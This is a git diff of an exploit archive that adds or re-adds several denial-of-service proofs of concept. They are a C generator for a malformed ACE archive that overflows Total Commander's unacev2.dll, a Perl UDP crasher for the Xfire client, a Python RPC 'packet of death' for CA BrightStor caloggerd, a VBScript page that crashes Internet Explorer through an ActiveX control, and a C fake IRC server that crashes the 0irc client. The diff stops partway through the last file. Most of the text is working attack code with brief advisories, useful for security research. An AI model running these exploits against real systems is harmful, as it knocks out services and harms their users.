-	"\x00\x00\x00\x00\x75\xB5\x7F\x34\x20\x00\x00\x00\xFF\xFF\xFF\xFF" 
-	"\x00\x03\x0A\x00\x54\x45\xFF\x00\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
-	"\x61\x61\x61\x2E\x74\x78\x74";
-
-
-int main()
-{
-	FILE *ace;
-	ace = fopen("evil.ace", "w+b");
-	fwrite(evil_ace, 1, sizeof(evil_ace)-1, ace);
-	fclose(ace);
-	return 0;
-
-}
-
-// milw0rm.com [2006-04-02]
+/*
+--
+/\
+\/	Total Commander unacev2.dll Buffer Overflow PoC Exploit
+/\			by Darkeagle of Unl0ck Research Team
+\/					http://unl0ck.net
+/\	
+\/	when file will be created, try to open archive in TotalCmd and then unpack it ;)
+/\
+\/
+--
+*/
+#include <string.h>
+#include <stdio.h>
+
+unsigned char evil_ace[] = 
+	"\x29\x8F\x31\x00\x00\x00\x90\x2A\x2A\x41\x43\x45\x2A\x2A\x14\x14" 
+	"\x02\x00\x79\xB5\x7F\x34\xFE\xE2\x05\xA5\x00\x00\x00\x00\x16\x2A" 
+	"\x55\x4E\x52\x45\x47\x49\x53\x54\x45\x52\x45\x44\x20\x56\x45\x52" 
+	"\x53\x49\x4F\x4E\x2A\x7F\x30\x1E\x01\x01\x01\x00\x00\x00\x00\x00" 
+	"\x00\x00\x00\x00\x75\xB5\x7F\x34\x20\x00\x00\x00\xFF\xFF\xFF\xFF" 
+	"\x00\x03\x0A\x00\x54\x45\xFF\x00\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
+	"\x61\x61\x61\x2E\x74\x78\x74";
+
+
+int main()
+{
+	FILE *ace;
+	ace = fopen("evil.ace", "w+b");
+	fwrite(evil_ace, 1, sizeof(evil_ace)-1, ace);
+	fclose(ace);
+	return 0;
+
+}
+
+// milw0rm.com [2006-04-02]
diff --git a/platforms/windows/dos/2571.pl b/platforms/windows/dos/2571.pl
index dc4a2fbe1..2bd1e60b1 100755
--- a/platforms/windows/dos/2571.pl
+++ b/platforms/windows/dos/2571.pl
@@ -1,86 +1,86 @@
-#!/usr/bin/perl
-#Moderator of http://igniteds.net
-##############################################################################
-#X fire version:new Release 1.64 <12th, 2006>
-##############################################################################
-#Vendors web site http://www.xfire.com/
-#remote exploit coded by: n00b..
-#Credit's to n00b for finding this bug..
-#Xfire client has a dos exploit closing the client upon
-#success full exploitation xfire will fail..Ive provided the following
-#Proof of concept for the exploit..This exploit happens when a malicious
-#packet is sent to the client on port udp port 25777 this will throw an exception
-#causing xfire to terminate.Tested on win xp service pack 1 + 2.
-#this is an example of the error on success full exploitation on the client side.
-#################################################################################
-#
-#          Error microsoft visual c++ runtime library
-#
-#          program: c:\program files\xfire\xfire.exe
-#
-#          r6025
-#                  - pure virtual function call.
-#################################################################################
-#Debugging info available at crash time.
-#
-# eax=77c280e4 ebx=00000000 ecx=77c112b0 edx=77c61a70 esi=7c90e88e edi=000000ff
-# eip=7c90eb94 esp=0012f5dc ebp=0012f6d8 iopl=0         nv up ei pl zr na pe nc
-# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
-# ntdll!KiFastSystemCallRet:
-# 7c90eb94 c3              ret
-#################################################################################
-#the following is the proof of concept available..
- 
-print " 0day Xfire remote dos exploit coded by n00b Release 1.64 <12th, 2006> \n";
- 
-use IO::Socket;
- 
-$ip = $ARGV[0];
- 
-$payload = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
- 
-
-if(!$ip)
-{
- 
-die "remember the ip\n";
- 
-}
- 
-$port = '25777';
- 
-$protocol = 'udp';
- 
-
-$socket = IO::Socket::INET->new(PeerAddr=>$ip,
-                               PeerPort=>$port,
-                               Proto=>$protocol,
-                               Timeout=>'1') || die "Make sure service is running on the port\n";
- 
-
-print $socket $payload;
- 
-close($socket);
- 
-print "client has died h00ha \n";
-
-# milw0rm.com [2006-10-16]
+#!/usr/bin/perl
+#Moderator of http://igniteds.net
+##############################################################################
+#X fire version:new Release 1.64 <12th, 2006>
+##############################################################################
+#Vendors web site http://www.xfire.com/
+#remote exploit coded by: n00b..
+#Credit's to n00b for finding this bug..
+#Xfire client has a dos exploit closing the client upon
+#success full exploitation xfire will fail..Ive provided the following
+#Proof of concept for the exploit..This exploit happens when a malicious
+#packet is sent to the client on port udp port 25777 this will throw an exception
+#causing xfire to terminate.Tested on win xp service pack 1 + 2.
+#this is an example of the error on success full exploitation on the client side.
+#################################################################################
+#
+#          Error microsoft visual c++ runtime library
+#
+#          program: c:\program files\xfire\xfire.exe
+#
+#          r6025
+#                  - pure virtual function call.
+#################################################################################
+#Debugging info available at crash time.
+#
+# eax=77c280e4 ebx=00000000 ecx=77c112b0 edx=77c61a70 esi=7c90e88e edi=000000ff
+# eip=7c90eb94 esp=0012f5dc ebp=0012f6d8 iopl=0         nv up ei pl zr na pe nc
+# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
+# ntdll!KiFastSystemCallRet:
+# 7c90eb94 c3              ret
+#################################################################################
+#the following is the proof of concept available..
+ 
+print " 0day Xfire remote dos exploit coded by n00b Release 1.64 <12th, 2006> \n";
+ 
+use IO::Socket;
+ 
+$ip = $ARGV[0];
+ 
+$payload = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+           "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
+ 
+
+if(!$ip)
+{
+ 
+die "remember the ip\n";
+ 
+}
+ 
+$port = '25777';
+ 
+$protocol = 'udp';
+ 
+
+$socket = IO::Socket::INET->new(PeerAddr=>$ip,
+                               PeerPort=>$port,
+                               Proto=>$protocol,
+                               Timeout=>'1') || die "Make sure service is running on the port\n";
+ 
+
+print $socket $payload;
+ 
+close($socket);
+ 
+print "client has died h00ha \n";
+
+# milw0rm.com [2006-10-16]
diff --git a/platforms/windows/dos/30023.txt b/platforms/windows/dos/30023.txt
new file mode 100755
index 000000000..0cd086750
--- /dev/null
+++ b/platforms/windows/dos/30023.txt
@@ -0,0 +1,13 @@
+source: http://www.securityfocus.com/bid/23926/info
+
+OpenEdge is prone to multiple denial-of-service vulnerabilities because it fails to properly sanitize user-supplied input.
+
+Successful exploits can allow attackers to cause the application to become unresponsive, denying service to legitimate users.
+
+This issue affects OpenEdge 10b; other versions may also be vulnerable. 
+
+http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/dict.r
+http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_help.r
+http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_dict.r
+http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_comp.r
+http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_admin.r 
\ No newline at end of file
diff --git a/platforms/windows/dos/30046.py b/platforms/windows/dos/30046.py
new file mode 100755
index 000000000..9e6d1b452
--- /dev/null
+++ b/platforms/windows/dos/30046.py
@@ -0,0 +1,137 @@
+source: http://www.securityfocus.com/bid/24017/info
+
+Computer Associates BrightStor ARCserve Backup is prone to multiple denial-of-service vulnerabilities due to memory-corruption issues caused by errors in processing arguments passed to RPC procedures.
+
+A remote attacker may exploit these issues to crash the affected services, resulting in denial-of-service conditions.
+
+The following applications are affected:
+
+BrightStor ARCserve Backup v9.01, r11.1, r11.5, r11 for Windows
+BrightStor Enterprise Backup r10.5
+CA Server Protection Suite r2,
+CA Business Protection Suite r2
+CA Business Protection Suite for Microsoft Small Business Server Standard Edition r2
+CA Business Protection Suite for Microsoft Small Business Server Premium Edition r2 
+
+#!/usr/bin/python
+#
+# Computer Associates (CA) Brightstor Backup caloggderd.exe DoS 
+(camt70.dll)
+# (Previously Unknown)
+# 
+# There is an issue in camt70.dll when caloggerd is processing a 
+hostname for a login operation.
+# When processing the string, if a null is passed in as an argument, it 
+will be loaded into ESI
+# and then loaded into EDI in which the string processing will read a 
+null memory location.
+# 
+# .text:0032ADD0 push    ecx
+# .text:0032ADD1 mov     eax, [esp+4+arg_4]
+# .text:0032ADD5 push    esi
+# .text:0032ADD6 mov     esi, [esp+8+arg_8] <--null gets loaded
+# .text:0032ADDA push    edi
+# .text:0032ADDB mov     edx, [eax]
+# .text:0032ADDD mov     edi, esi	    <-- EDI gets set to nulls
+# .text:0032ADDF or      ecx, 0FFFFFFFFh
+# .text:0032ADE2 xor     eax, eax
+# .text:0032ADE4 repne scasb
+#
+# This was tested on BrightStor ARCserve Backup 11.5.2.0 (SP2) with the 
+latest 
+# CA patches on Windows XP SP2 
+#
+# CA has been notified
+#
+# Author: M. Shirk 
+#
+# (c) Copyright 2007 (Shirkdog Security) shirkdog_list $ at % hotmail 
+dot com 
+#
+# Use at your own Risk: You have been warned 
+#------------------------------------------------------------------------
+
+import os
+import sys
+import time
+import socket
+import struct
+
+#------------------------------------------------------------------------
+
+# RPC GetPort request for caloggerd
+rpc_portmap_req="\x80\x00\x00\x38\x21\x84\xf7\xc9\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa0\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x09\x82\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00"
+
+
+# Begining of RPC Packet
+packet="\x80\x00\x00\x58\x31\x46\xD3\xB9\x00\x00\x00\x00\x00\x00\x00\x02"
+
+# Prog ID (caloggerd)
+packet+="\x00\x06\x09\x82"
+
+# Operation number 1
+packet+="\x00\x00\x00\x01\x00\x00\x00\x01"
+
+# Nulls
+packet+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+
+# Size of hostname, used in the Login
+packet+="\x00\x00\x00\x22" 
+
+# Hostname, which apparently with the size and the nulls, causes the DoS
+packet+="\x41\x41\x41\x41"*8
+packet+="\x41\x41\x00\x00"
+packet+="\xff\xff\xff\xff"
+
+#------------------------------------------------------------------------
+
+def GetCALoggerPort(target):
+	sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+	sock.connect((target,111))
+	sock.send(rpc_portmap_req)
+	rec = sock.recv(256)
+	sock.close()
+
+	port1 = rec[-4]
+	port2 = rec[-3]
+	port3 = rec[-2]
+	port4 = rec[-1]	
+	
+	port1 = hex(ord(port1))
+	port2 = hex(ord(port2))
+	port3 = hex(ord(port3))
+	port4 = hex(ord(port4))
+	port = '%02x%02x%02x%02x' % 
+(int(port1,16),int(port2,16),int(port3,16),int(port4,16))
+	port = int(port,16)
+
+	print '[+] Sending TCP Packet of Death to Target: %s Port: %s' % 
+(target,port)
+	ExploitCALoggerd(target,port)
+
+
+def ExploitCALoggerd(target,port):
+	sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+	sock.connect((target,port))
+	sock.send(packet)
+	sock.close()
+	print '[+] Done...\n[+] caloggerd.exe is dead\n[+] ... or it 
+will die in a few seconds for you inpatient bastards\n'
+
+
+if __name__=="__main__":
+       try:
+               target = sys.argv[1]
+       except IndexError:
+		print '[+] Computer Associates (CA) Brightstor Backup 
+caloggerd.exe DoS (camt70.dll)'
+       		print '[+] Author: Shirkdog'
+               	print '[+] Usage: %s <target ip>\n' % sys.argv[0]
+               	sys.exit(-1)
+
+       print '[+] Computer Associates (CA) Brightstor Backup 
+caloggerd.exe DoS (camt70.dll)'
+       print '[+] Author: Shirkdog'
+
+       GetCALoggerPort(target)
+
diff --git a/platforms/windows/dos/3142.html b/platforms/windows/dos/3142.html
index 6accf9b48..d55f71d19 100755
--- a/platforms/windows/dos/3142.html
+++ b/platforms/windows/dos/3142.html
@@ -1,27 +1,27 @@
-<!--
--------------------------------------------------------------------------------
-CCRP Folder Treeview Control (ccrpftv6.ocx) Internet Explorer Denial of Service
-author: shinnai
-mail: shinnai[at]autistici[dot]org
-site: http://shinnai.altervista.org
-Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
--------------------------------------------------------------------------------
--->
-
-<html>
-<object classid='clsid:19B7F2D6-1610-11D3-BF30-1AF820524153' id='CCRP' ></object>
-<script language='vbscript'>
-
-argCount = 1
-
-arg1=String(2000000, "A")
-
-CCRP.RootFolder = arg1
-
-</script>
-
-<script language='javascript'>
- document.location.reload()
-</script>
-
-# milw0rm.com [2007-01-17]
+<!--
+-------------------------------------------------------------------------------
+CCRP Folder Treeview Control (ccrpftv6.ocx) Internet Explorer Denial of Service
+author: shinnai
+mail: shinnai[at]autistici[dot]org
+site: http://shinnai.altervista.org
+Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
+-------------------------------------------------------------------------------
+-->
+
+<html>
+<object classid='clsid:19B7F2D6-1610-11D3-BF30-1AF820524153' id='CCRP' ></object>
+<script language='vbscript'>
+
+argCount = 1
+
+arg1=String(2000000, "A")
+
+CCRP.RootFolder = arg1
+
+</script>
+
+<script language='javascript'>
+ document.location.reload()
+</script>
+
+# milw0rm.com [2007-01-17]
diff --git a/platforms/windows/dos/3547.c b/platforms/windows/dos/3547.c
index 57d55eac2..3e3b9e8b3 100755
--- a/platforms/windows/dos/3547.c
+++ b/platforms/windows/dos/3547.c
@@ -1,130 +1,130 @@
-/*
-	0irc-client v1345 build 20060823 DoS Exploit By DiGitalX (DiGi7alX@Gmail.com)
-	Date: 22/3/2007 -- MicroSystem Team -- Site: http://DiGitalX.I.am
-	Description: 0irc-client suffers from a NULL pointer derefrencing bug.
-*/
-
-#define WIN32_LEAN_AND_MEAN
-#include <winsock2.h>
-#include <windows.h>
-#include <stdlib.h>
-#include <stdio.h>
-
-#pragma comment(lib, "wsock32.lib")
-
-// `perl -e "print 'a' x 623";`
-#define As "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
-
-int main()
-{
-	struct sockaddr_in sa, nsa;
-	SOCKET s, ns;
-	WSADATA wsa;
-	int err, val;
-	char buffer[1000]; /* evil buffer holder */
-
-	printf("0irc-client v1345 build 20060823 DoS Exploit By DiGitalX\n");
-	printf("MicroSystem Team -- Date: 22/3/2007 -- http://DiGitalX.I.am\n");
-	printf("Contact: DiGi7alX@Gmail.com\n\n");
-
-	printf("Initializing...\n");
-
-	/* first open the ircd */
-	//fire up winsock
-	if ((err = WSAStartup(MAKEWORD(1, 1), &wsa)) != 0) {
-		//if winsock is sick :P
-		printf("Error: Cannot initialize winsock (%d).\n", err);
-		return 1;
-	}
-	//create a socket
-	s = socket(AF_INET, SOCK_STREAM, 0);
-	if (s == INVALID_SOCKET) {
-		//if socket cannot be created inform user
-		printf("Error: Cannot create socket (%d).\n", WSAGetLastError());
-		return 1;
-	}
-	//starting building the sockaddr_in struct
-	memset(&sa, 0, sizeof(sa));
-	sa.sin_family = AF_INET;
-	sa.sin_addr.S_un.S_addr = INADDR_ANY;
-	sa.sin_port = htons(6667); /* default ircd port */
-	//now bind the socket to the port
-	if (bind(s, (const struct sockaddr *)&sa, sizeof(sa)) == SOCKET_ERROR) {
-		//if bind error inform user
-		printf("Error: Cannot bind socket to port 6667 (%d).\n", WSAGetLastError());
-		return 1;
-	}
-	//do listen for incoming connections
-	if (listen(s, SOMAXCONN) == SOCKET_ERROR) {
-		//cannot listen tell user
-		printf("Error: Cannot listen for incoming connections (%d).\n", WSAGetLastError());
-		return 1;
-	}
-	//listen OK
-	//set sockaddr_in structcure size
-	val = sizeof(nsa);
-	//now do accept clients
-	printf("Now connect using 0irc client.\n");
-	if ((ns = accept(s, (struct sockaddr *)&nsa, &val)) == INVALID_SOCKET) {
-		//if accept fails
-		printf("Error: Cannot accept incoming connection (%d).\n", WSAGetLastError());
-		return 1;
-	}
-	//accept OK .. inform user of new connection
-	printf("New Connection: %s\n", inet_ntoa(nsa.sin_addr));
-	//now the real job begins :D
-	snprintf(buffer, sizeof(buffer)-1, ":aaa 001 DiGitalX\r\n\0");
-	if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
-		//oops!! error
-		if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
-		else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
-		return 1;
-	}
-	snprintf(buffer, sizeof(buffer)-1, ":aaa 002 DiGitalX\r\n\0");
-	if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
-		//oops!! error
-		if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
-		else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
-		return 1;
-	}
-	snprintf(buffer, sizeof(buffer)-1, ":aaa 003 DiGitalX\r\n\0");
-	if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
-		//oops!! error
-		if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
-		else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
-		return 1;
-	}
-	snprintf(buffer, sizeof(buffer)-1, ":aaa 004 DiGitalX\r\n\0");
-	if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
-		//oops!! error
-		if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
-		else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
-		return 1;
-	}
-	snprintf(buffer, sizeof(buffer)-1, ":aaa 005 DiGitalX\r\n\0");
-	if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
-		//oops!! error
-		if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
-		else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
-		return 1;
-	}
-	snprintf(buffer, sizeof(buffer)-1, ":"As" 727 DiGitalX\r\n\0");
-	if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
-		//oops!! error
-		if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
-		else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
-		return 1;
-	}
-	//wait sometime
-	Sleep(1200);
-	//cleanup
-	//close sockets
-	closesocket(ns);
-	closesocket(s);
-	//close winsock
-	WSACleanup();
-
-	return 0; /* end of work :D */
-}
-
-// milw0rm.com [2007-03-22]
+/*
+	0irc-client v1345 build 20060823 DoS Exploit By DiGitalX (DiGi7alX@Gmail.com)
+	Date: 22/3/2007 -- MicroSystem Team -- Site: http://DiGitalX.I.am
+	Description: 0irc-client suffers from a NULL pointer derefrencing bug.
+*/
+
+#define WIN32_LEAN_AND_MEAN
+#include <winsock2.h>
+#include <windows.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+#pragma comment(lib, "wsock32.lib")
+
+// `perl -e "print 'a' x 623";`
+#define As "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+
+int main()
+{
+	struct sockaddr_in sa, nsa;
+	SOCKET s, ns;
+	WSADATA wsa;
+	int err, val;
+	char buffer[1000]; /* evil buffer holder */
+
+	printf("0irc-client v1345 build 20060823 DoS Exploit By DiGitalX\n");
+	printf("MicroSystem Team -- Date: 22/3/2007 -- http://DiGitalX.I.am\n");
+	printf("Contact: DiGi7alX@Gmail.com\n\n");
+
+	printf("Initializing...\n");
+
+	/* first open the ircd */
+	//fire up winsock
+	if ((err = WSAStartup(MAKEWORD(1, 1), &wsa)) != 0) {
+		//if winsock is sick :P
+		printf("Error: Cannot initialize winsock (%d).\n", err);
+		return 1;
+	}
+	//create a socket
+	s = socket(AF_INET, SOCK_STREAM, 0);
+	if (s == INVALID_SOCKET) {
+		//if socket cannot be created inform user
+		printf("Error: Cannot create socket (%d).\n", WSAGetLastError());
+		return 1;
+	}
+	//starting building the sockaddr_in struct
+	memset(&sa, 0, sizeof(sa));
+	sa.sin_family = AF_INET;
+	sa.sin_addr.S_un.S_addr = INADDR_ANY;
+	sa.sin_port = htons(6667); /* default ircd port */
+	//now bind the socket to the port
+	if (bind(s, (const struct sockaddr *)&sa, sizeof(sa)) == SOCKET_ERROR) {
+		//if bind error inform user
+		printf("Error: Cannot bind socket to port 6667 (%d).\n", WSAGetLastError());
+		return 1;
+	}
+	//do listen for incoming connections
+	if (listen(s, SOMAXCONN) == SOCKET_ERROR) {
+		//cannot listen tell user
+		printf("Error: Cannot listen for incoming connections (%d).\n", WSAGetLastError());
+		return 1;
+	}
+	//listen OK
+	//set sockaddr_in structcure size
+	val = sizeof(nsa);
+	//now do accept clients
+	printf("Now connect using 0irc client.\n");
+	if ((ns = accept(s, (struct sockaddr *)&nsa, &val)) == INVALID_SOCKET) {
+		//if accept fails
+		printf("Error: Cannot accept incoming connection (%d).\n", WSAGetLastError());
+		return 1;
+	}
+	//accept OK .. inform user of new connection
+	printf("New Connection: %s\n", inet_ntoa(nsa.sin_addr));
+	//now the real job begins :D
+	snprintf(buffer, sizeof(buffer)-1, ":aaa 001 DiGitalX\r\n\0");
+	if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
+		//oops!! error
+		if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
+		else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
+		return 1;
+	}
+	snprintf(buffer, sizeof(buffer)-1, ":aaa 002 DiGitalX\r\n\0");
+	if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
+		//oops!! error
+		if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
